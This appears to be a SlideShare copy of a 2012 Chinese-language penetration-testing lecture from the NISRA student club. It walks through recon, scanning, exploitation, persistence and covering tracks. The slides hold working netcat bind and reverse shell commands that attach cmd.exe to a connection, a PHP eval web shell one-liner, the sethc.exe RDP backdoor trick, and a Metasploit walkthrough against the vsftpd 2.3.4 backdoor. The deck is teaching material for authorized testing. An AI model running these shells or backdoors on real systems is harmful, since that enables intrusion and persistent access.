SlideShare a Scribd company logo
1 of 45
滲透測試
Orange @ NISRA
 2012 / 05 / 22
目的

1. 以駭客、攻擊者的眼光、手法,對系統進
   行安全性測試

2. 我們都是好孩子,要經過授權唷!^___^
3. 基礎概念取向
 – 技術 Detail 不講
 – Web-based 自成一個章節不講
不專業的人來講專業的東西...
1.   Reconnaissance
2.   Scanning
3.   Gaining Access
4.   Maintaining Access
5.   Clearing Tracks

說是這樣說拉,不過實際上...
Reconnaissance

用盡一切方法拐到資訊
1. Google          # 想想人肉搜索
2. Who.is
3. DNS Zone transfer

目標是? 有沒有防火牆? IDS? WAF? 網路架
構長怎樣? 網頁伺服器是不是 Virtual host ?
資訊越多,入侵機會越多

服務越多,入侵機會越多
Google://"mail.xxx.xxx.xx"
http://whois.sc/
Cont. 案例分享

• 利用 code.google.com 進行滲透測試。
• 還記得上禮拜教的 Git 嗎?
Scanning

1. 觀察、分析、思考。
2. Scanning Port # Nmap
3. 弱點掃描          # Nessus, Metasploit
                   # WebInspect, Acunetix
3. 猜密碼           # Hydra, Ncrack
  – 空密碼, 123456, 帳密相同
  – 帳號永遠比密碼難猜
Cont. 案例分享

• *經典範例*
• RDP 後門
 – sethc.exe
• 連上遠端桌面第一件事不是打帳號,是快
  速按下 shift 五次!!
• 同理,看到登錄畫面第一件事是猜密碼、
  預設密碼。
一般的應該像這樣
不太正常的會長得像這樣
比較有創意的會弄成這樣
比較有點 Level 又會這樣做
淡定低調風 ˊ_>ˋ
Scanning port
• Port   = 埠、端口、窗戶
         = 主機提供服務的窗口
         = 有機會入侵的地方

•   範圍從 1 到 65535
•   21   =   FTP
•   23   =   TELNET
•   80   =   WWW
檢查窗戶有沒有開?

• telnet www.google.com 80
• Netcat
  – nc www.google.com 80
NetCat




         http://sectools.org/
折凳的奧妙之處,就是可以藏在民宅之中,隨手可
得,還可以坐著它來隱藏殺機,打完更可以坐下休
息,就算被條子抓到也告不了你,真不愧為七大武
器之首!
NetCat Usage

•   nc apple.com 80 # 檢查 port 開啟是否
•   nc apple.com 1-100   # 一次掃描多個 port
•   nc -v apple.com 80   # 詳細模式
•   nc -l -p 80          # 開 (listen) 一個 port
•   nc -e cmd.exe -lp 80 # 將執行內容綁到連線上
NetCat 可以幹嘛? (1/3)

• 範例主角 Cyndi & 大樹哥

• Cyndi 要看 大樹 的網頁伺服器開了沒?
 – Cyndi :   nc 大樹 80
• Cyndi 要傳檔案給 大樹
 – 大樹 :      nc -lp 12345 > a.zip
 – Cyndi :   nc 大樹 12345 < a.zip
NetCat 可以幹嘛? (2/3)

• Cyndi 入侵了 大樹 的電腦,想建個後門
 – Cyndi 在 大樹 的電腦執行 :
 – nc -lp 888 -e cmd.exe
 – Cyndi: nc 大樹 888 即可連上後門

                       888
NetCat 可以幹嘛? (2/3)

• 大樹 裝了防火牆,又是在內網,怎麼辦 ?
 – 動動腦,三秒鐘把後門改造成 反連後門( Back
   connect)
 – Cyndi 執行 : nc -lp 888
 – Cyndi 在 大樹 電腦執行 :
 – nc -e cmd.exe Cyndi 888
        888
NMAP Usage
• http://nmap.org/
  – nmap -sT 127.0.0.1          # 起手式
  – nmap -sT -v 127.0.0.1 # 詳細模式
  – nmap -sT 127.0.0.1-254# IP range
  – nmap -sT -p 80 127.0.0.1    # 指定端口
  – nmap -sT -p 1-8 127.0.0.1   # Port range
  – nmap -A 127.0.0.1           # 檢測作業系統
實作

• 請用 nmap 找出 orangee.tw 開了網頁伺服
  器再奇怪的 port 上
Gaining Access
1. 關鍵點,請善用盡上一步取得的資訊。
2. 存取權限分為 Read Write eXecute
3. 失敗請退回上一步。

• http://exploit-db.com/
• Metasploit
http://exploit-db.com/
Cont. 案例分享

• CVE-2012-1823
  – PHP CGI Argument Injection


• 為啥講它?
http://ww.facebook.com/?-s
Reconnaissance
Scanning
Gaining Access




       <?php @eval($_POST[cmd]); ?>
Metasploit (1/2)
Metasploit (2/2)
• Exploits
• Auxiliary
• Payload
實作 (有時間的話)

1. 使用 nmap 發現有開 FTP 服務
2. 使用 nc 連接發現 FTP 是由 vsftp 架設並
   且版本是 2.3.4
3. 透過 exploit-db 搜尋發現 vsftp 2.3.4 存在
   backdoor !!
4. 使用 Metasploit 進行攻擊
 – unix -> ftp -> vsftpd234 backdoor
Maintaining Access

1.   普通使用者 vs. 最強使用者
2.   提權 ( Privilege Escalation )
3.   翻屍體
4.   如何想來就來想走就走!
     – 後門 Backdoor
     – 木馬 Trojan
     – 乳器 Rootkit
實作 ( 詳細指令在 txt 裡 )

1. Mimikatz
  – 原理會提一下,不懂就算了XD
2. Enlightenment.tgz
  – 懶人包
3. Mempodipper.c
  – 原理聽聽就算了XD
Clearing Tracks

1. 俗稱的擦屁屁
2. 任何動作都會留下紀錄
3. 壞事不要幹,要幹就要懂的保護自己

舉例:
傻傻的
• 保護當事人,徹圖
安全的本質是什麼?




    http://hi.baidu.com/yuange1975/blog
Thanks
Orange@nisra.net

More Related Content

What's hot

MacOS memory allocator (libmalloc) Exploitation
MacOS memory allocator (libmalloc) ExploitationMacOS memory allocator (libmalloc) Exploitation
MacOS memory allocator (libmalloc) ExploitationAngel Boy
 
Windows 10 Nt Heap Exploitation (Chinese version)
Windows 10 Nt Heap Exploitation (Chinese version)Windows 10 Nt Heap Exploitation (Chinese version)
Windows 10 Nt Heap Exploitation (Chinese version)Angel Boy
 
Play with FILE Structure - Yet Another Binary Exploit Technique
Play with FILE Structure - Yet Another Binary Exploit TechniquePlay with FILE Structure - Yet Another Binary Exploit Technique
Play with FILE Structure - Yet Another Binary Exploit TechniqueAngel Boy
 
Windows 10 Nt Heap Exploitation (English version)
Windows 10 Nt Heap Exploitation (English version)Windows 10 Nt Heap Exploitation (English version)
Windows 10 Nt Heap Exploitation (English version)Angel Boy
 
台科逆向簡報
台科逆向簡報台科逆向簡報
台科逆向簡報耀德 蔡
 
Reliable Windows Heap Exploits
Reliable Windows Heap ExploitsReliable Windows Heap Exploits
Reliable Windows Heap Exploitsamiable_indian
 
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...Maksim Shudrak
 
Pwning in c++ (basic)
Pwning in c++ (basic)Pwning in c++ (basic)
Pwning in c++ (basic)Angel Boy
 
Tcache Exploitation
Tcache ExploitationTcache Exploitation
Tcache ExploitationAngel Boy
 
Advanced heap exploitaion
Advanced heap exploitaionAdvanced heap exploitaion
Advanced heap exploitaionAngel Boy
 
Linux Binary Exploitation - Return-oritend Programing
Linux Binary Exploitation - Return-oritend ProgramingLinux Binary Exploitation - Return-oritend Programing
Linux Binary Exploitation - Return-oritend ProgramingAngel Boy
 
ROP 輕鬆談
ROP 輕鬆談ROP 輕鬆談
ROP 輕鬆談hackstuff
 
DeathNote of Microsoft Windows Kernel
DeathNote of Microsoft Windows KernelDeathNote of Microsoft Windows Kernel
DeathNote of Microsoft Windows KernelPeter Hlavaty
 
Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)Ben Hayak
 
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel" You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel" Peter Hlavaty
 
Blazing Performance with Flame Graphs
Blazing Performance with Flame GraphsBlazing Performance with Flame Graphs
Blazing Performance with Flame GraphsBrendan Gregg
 
x86とコンテキストスイッチ
x86とコンテキストスイッチx86とコンテキストスイッチ
x86とコンテキストスイッチMasami Ichikawa
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
 

What's hot (20)

MacOS memory allocator (libmalloc) Exploitation
MacOS memory allocator (libmalloc) ExploitationMacOS memory allocator (libmalloc) Exploitation
MacOS memory allocator (libmalloc) Exploitation
 
Windows 10 Nt Heap Exploitation (Chinese version)
Windows 10 Nt Heap Exploitation (Chinese version)Windows 10 Nt Heap Exploitation (Chinese version)
Windows 10 Nt Heap Exploitation (Chinese version)
 
Play with FILE Structure - Yet Another Binary Exploit Technique
Play with FILE Structure - Yet Another Binary Exploit TechniquePlay with FILE Structure - Yet Another Binary Exploit Technique
Play with FILE Structure - Yet Another Binary Exploit Technique
 
Windows 10 Nt Heap Exploitation (English version)
Windows 10 Nt Heap Exploitation (English version)Windows 10 Nt Heap Exploitation (English version)
Windows 10 Nt Heap Exploitation (English version)
 
台科逆向簡報
台科逆向簡報台科逆向簡報
台科逆向簡報
 
Reliable Windows Heap Exploits
Reliable Windows Heap ExploitsReliable Windows Heap Exploits
Reliable Windows Heap Exploits
 
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
 
Pwning in c++ (basic)
Pwning in c++ (basic)Pwning in c++ (basic)
Pwning in c++ (basic)
 
Tcache Exploitation
Tcache ExploitationTcache Exploitation
Tcache Exploitation
 
詳説WebAssembly
詳説WebAssembly詳説WebAssembly
詳説WebAssembly
 
Advanced heap exploitaion
Advanced heap exploitaionAdvanced heap exploitaion
Advanced heap exploitaion
 
PHPにおけるI/O多重化とyield
PHPにおけるI/O多重化とyieldPHPにおけるI/O多重化とyield
PHPにおけるI/O多重化とyield
 
Linux Binary Exploitation - Return-oritend Programing
Linux Binary Exploitation - Return-oritend ProgramingLinux Binary Exploitation - Return-oritend Programing
Linux Binary Exploitation - Return-oritend Programing
 
ROP 輕鬆談
ROP 輕鬆談ROP 輕鬆談
ROP 輕鬆談
 
DeathNote of Microsoft Windows Kernel
DeathNote of Microsoft Windows KernelDeathNote of Microsoft Windows Kernel
DeathNote of Microsoft Windows Kernel
 
Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)
 
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel" You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
 
Blazing Performance with Flame Graphs
Blazing Performance with Flame GraphsBlazing Performance with Flame Graphs
Blazing Performance with Flame Graphs
 
x86とコンテキストスイッチ
x86とコンテキストスイッチx86とコンテキストスイッチ
x86とコンテキストスイッチ
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
 

Similar to 滲透測試 Talk @ Nisra

WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」Orange Tsai
 
Some things before network attack
Some things before network attackSome things before network attack
Some things before network attackCanaan Kao
 
賽門鐵克端點安全教戰守則 - Symantec Endpoint Protection 及 Symantec Critical System Protec...
賽門鐵克端點安全教戰守則 - Symantec Endpoint Protection 及 Symantec Critical System Protec...賽門鐵克端點安全教戰守則 - Symantec Endpoint Protection 及 Symantec Critical System Protec...
賽門鐵克端點安全教戰守則 - Symantec Endpoint Protection 及 Symantec Critical System Protec...Wales Chen
 
Splunk資安智慧分析平台
Splunk資安智慧分析平台Splunk資安智慧分析平台
Splunk資安智慧分析平台Ching-Lin Tao
 
02.python.开发最佳实践
02.python.开发最佳实践02.python.开发最佳实践
02.python.开发最佳实践Na Lee
 
揭秘家用路由器Ch10 sharing
揭秘家用路由器Ch10 sharing揭秘家用路由器Ch10 sharing
揭秘家用路由器Ch10 sharingYi-Jun Zheng
 
ChinaNetCloud Online Lecture: Fight Against External Attacks From Different L...
ChinaNetCloud Online Lecture: Fight Against External Attacks From Different L...ChinaNetCloud Online Lecture: Fight Against External Attacks From Different L...
ChinaNetCloud Online Lecture: Fight Against External Attacks From Different L...ChinaNetCloud
 
台科大網路鑑識課程 封包分析及中繼站追蹤
台科大網路鑑識課程 封包分析及中繼站追蹤台科大網路鑑識課程 封包分析及中繼站追蹤
台科大網路鑑識課程 封包分析及中繼站追蹤jack51706
 
探索 ISTIO 新型 DATA PLANE 架構 AMBIENT MESH - GOLANG TAIWAN GATHERING #77 X CNTUG
探索 ISTIO 新型 DATA PLANE 架構 AMBIENT MESH - GOLANG TAIWAN GATHERING #77 X CNTUG探索 ISTIO 新型 DATA PLANE 架構 AMBIENT MESH - GOLANG TAIWAN GATHERING #77 X CNTUG
探索 ISTIO 新型 DATA PLANE 架構 AMBIENT MESH - GOLANG TAIWAN GATHERING #77 X CNTUGYingSiang Geng
 
Brochure ahn lab trusguard utm
Brochure ahn lab trusguard utmBrochure ahn lab trusguard utm
Brochure ahn lab trusguard utmahnlabchina
 
Hacking Nginx at Taobao
Hacking Nginx at TaobaoHacking Nginx at Taobao
Hacking Nginx at TaobaoJoshua Zhu
 
Module 08 防火牆
Module 08 防火牆Module 08 防火牆
Module 08 防火牆rbk19871124
 
Side-channel-attack-101
Side-channel-attack-101Side-channel-attack-101
Side-channel-attack-101Kevin2600
 
電腦網路 網路安全
電腦網路 網路安全電腦網路 網路安全
電腦網路 網路安全bruce761207
 
Internet Security
Internet SecurityInternet Security
Internet Securitybruce761207
 
Linux Network Monitoring
Linux Network MonitoringLinux Network Monitoring
Linux Network MonitoringKenny (netman)
 

Similar to 滲透測試 Talk @ Nisra (20)

WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」
 
Some things before network attack
Some things before network attackSome things before network attack
Some things before network attack
 
賽門鐵克端點安全教戰守則 - Symantec Endpoint Protection 及 Symantec Critical System Protec...
賽門鐵克端點安全教戰守則 - Symantec Endpoint Protection 及 Symantec Critical System Protec...賽門鐵克端點安全教戰守則 - Symantec Endpoint Protection 及 Symantec Critical System Protec...
賽門鐵克端點安全教戰守則 - Symantec Endpoint Protection 及 Symantec Critical System Protec...
 
Splunk資安智慧分析平台
Splunk資安智慧分析平台Splunk資安智慧分析平台
Splunk資安智慧分析平台
 
02.python.开发最佳实践
02.python.开发最佳实践02.python.开发最佳实践
02.python.开发最佳实践
 
揭秘家用路由器Ch10 sharing
揭秘家用路由器Ch10 sharing揭秘家用路由器Ch10 sharing
揭秘家用路由器Ch10 sharing
 
ChinaNetCloud Online Lecture: Fight Against External Attacks From Different L...
ChinaNetCloud Online Lecture: Fight Against External Attacks From Different L...ChinaNetCloud Online Lecture: Fight Against External Attacks From Different L...
ChinaNetCloud Online Lecture: Fight Against External Attacks From Different L...
 
台科大網路鑑識課程 封包分析及中繼站追蹤
台科大網路鑑識課程 封包分析及中繼站追蹤台科大網路鑑識課程 封包分析及中繼站追蹤
台科大網路鑑識課程 封包分析及中繼站追蹤
 
探索 ISTIO 新型 DATA PLANE 架構 AMBIENT MESH - GOLANG TAIWAN GATHERING #77 X CNTUG
探索 ISTIO 新型 DATA PLANE 架構 AMBIENT MESH - GOLANG TAIWAN GATHERING #77 X CNTUG探索 ISTIO 新型 DATA PLANE 架構 AMBIENT MESH - GOLANG TAIWAN GATHERING #77 X CNTUG
探索 ISTIO 新型 DATA PLANE 架構 AMBIENT MESH - GOLANG TAIWAN GATHERING #77 X CNTUG
 
Win dbg入门
Win dbg入门Win dbg入门
Win dbg入门
 
Windbg入门
Windbg入门Windbg入门
Windbg入门
 
Brochure ahn lab trusguard utm
Brochure ahn lab trusguard utmBrochure ahn lab trusguard utm
Brochure ahn lab trusguard utm
 
Hacking Nginx at Taobao
Hacking Nginx at TaobaoHacking Nginx at Taobao
Hacking Nginx at Taobao
 
Module 08 防火牆
Module 08 防火牆Module 08 防火牆
Module 08 防火牆
 
Side-channel-attack-101
Side-channel-attack-101Side-channel-attack-101
Side-channel-attack-101
 
電腦網路 網路安全
電腦網路 網路安全電腦網路 網路安全
電腦網路 網路安全
 
網路安全
網路安全網路安全
網路安全
 
Internet Security
Internet SecurityInternet Security
Internet Security
 
網路安全
網路安全網路安全
網路安全
 
Linux Network Monitoring
Linux Network MonitoringLinux Network Monitoring
Linux Network Monitoring
 

滲透測試 Talk @ Nisra